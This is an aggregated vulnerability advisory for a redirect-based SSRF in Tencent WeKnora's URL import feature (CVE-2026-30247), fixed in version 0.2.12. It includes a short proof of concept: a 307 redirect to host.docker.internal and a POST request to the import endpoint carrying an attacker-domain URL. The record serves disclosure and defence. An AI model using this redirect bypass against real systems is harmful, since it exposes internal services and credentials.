5.9medium
WeKnora: SSRF via Redirection
- Severity
- 5.9medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.42% (higher than 38% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-595m-wc8g-6qgcGO-2026-4628
Description
WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.2.12, the application's "Import document via URL" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it fails to validate redirect targets. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like host.docker.internal are not blocked. This issue has been patched in version 0.2.12.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| Tencent WeKnora | < 0.2.12, before 0.2.12 | CVE List, NVD |
| github.com/Tencent/WeKnora (Go) | before 0.2.12 | GitHub Advisory Database, Go Vulnerability Database |
All scores
| GitHub_M | 5.9medium CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N |
| GitHub | 5.9medium CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.2.12, the application's "Import document via URL" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it fails to validate redirect targets. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like host.docker.internal are not blocked. This issue has been patched in version 0.2.12.
GitHub Advisory Database
Summary
The application's "Import document via URL" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it fails to validate redirect targets. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like host.docker.internal are not blocked.
Details
The /api/v1/knowledge-bases/{id}/knowledge/url endpoint validates the initial URL but follows HTTP redirects without re-validating the destination. This allows attackers to:
- Submit a URL to an attacker-controlled domain (passes validation)
- Have that domain respond with a 307 redirect to an internal service
- The backend automatically follows the redirect without checking if the destination is restricted
- The internal service response is exposed to the attacker
Validation Gaps
- The
IsSSRFSafeURL()function (ininternal/utils/security.go) validates the initial URL thoroughly, but there's no validation of HTTP redirect targets host.docker.internalis not in therestrictedHostnameslist- Docker-specific IP ranges (172.17.0.0/16 for bridge networks) are not explicitly blocked
- The code validates
parsed.Hostname()from the initial URL, but redirect Location headers bypass this check
Root Cause Analysis
The backend makes the security mistake of trusting the server's HTTP client library to be secure. In Go, when using http.Get() or similar functions, the standard library will automatically follow redirects up to 10 times by default. The SSRF validation only checks the URL passed to the endpoint, not intermediate redirects.
PoC
Step 1: Set up an attacker-controlled server that responds with a redirect:
HTTP/1.1 307 Temporary Redirect
Location: http://host.docker.internal:7777
Content-Type: text/html
Access-Control-Allow-Origin: *
Step 2: Send the request with a clean URL:
POST /api/v1/knowledge-bases/dbadd153-9e60-4213-9553-9f78dbcba0dc/knowledge/url HTTP/1.1
Host: localhost
Content-Type: application/json
Authorization: Bearer <valid_token>
{"url":"https://attacker-domain.com","tag_id":""}
The URL https://attacker-domain.com passes all validation checks because:
✓ Valid https:// scheme
✓ Not an IP address (it's a domain)
✓ Not in restricted hostnames
✓ Doesn't resolve to a private IP (assuming attacker controls a public domain)
Step 3: The backend's HTTP client follows the redirect to http://host.docker.internal:7777, which:
✗ Is not validated
✗ host.docker.internal is not in the blocklist
✗ Successfully accesses the internal service
Impact
Vulnerability Type: Server-Side Request Forgery (SSRF) via HTTP Redirect
Who is Impacted:
- The organization running the application
- Internal services and databases accessible from the application container
- Services in the Docker network (other containers, internal infrastructure)
- Sensitive data stored in internal services
Potential Consequences:
- Access to internal databases (PostgreSQL, MongoDB, MySQL) running in Docker
- Information disclosure from internal services (Redis cache, configuration servers)
- Access to Docker container metadata and environment variables
- Lateral movement to other containers in the same Docker network
- Exfiltration of sensitive configuration, API keys, or database credentials
- Potential RCE if internal services have exploitable vulnerabilities
Go Vulnerability Database
WeKnora is Vulnerable to SSRF via Redirection in github.com/Tencent/WeKnora
NVD (es)
WeKnora es un framework impulsado por LLM diseñado para la comprensión profunda de documentos y la recuperación semántica. Antes de la versión 0.2.12, la característica 'Importar documento vía URL' de la aplicación es vulnerable a la falsificación de petición del lado del servidor (SSRF) a través de redirecciones HTTP. Aunque el backend implementa una validación exhaustiva de URL (bloqueando IPs privadas, direcciones de bucle invertido, nombres de host reservados y puntos finales de metadatos en la nube), no logra validar los objetivos de redirección. Un atacante puede eludir todas las protecciones mediante el uso de una cadena de redirección, forzando al servidor a acceder a servicios internos. Además, las direcciones internas específicas de Docker como host.docker.internal no están bloqueadas. Este problema ha sido parcheado en la versión 0.2.12.
References
| https://github.com/Tencent/WeKnora/security/advisories/GHSA-595m-wc8g-6qgc | advisory, exploit, vendor-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-30247 | advisory | |
| https://github.com/Tencent/WeKnora | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-30247 changed 2026-03-09 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-595m-wc8g-6qgc changed 2026-03-23 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-4628 changed 2026-03-23 | CC-BY-4.0 |
| NVD | CVE-2026-30247 changed 2026-06-17 | Public domain |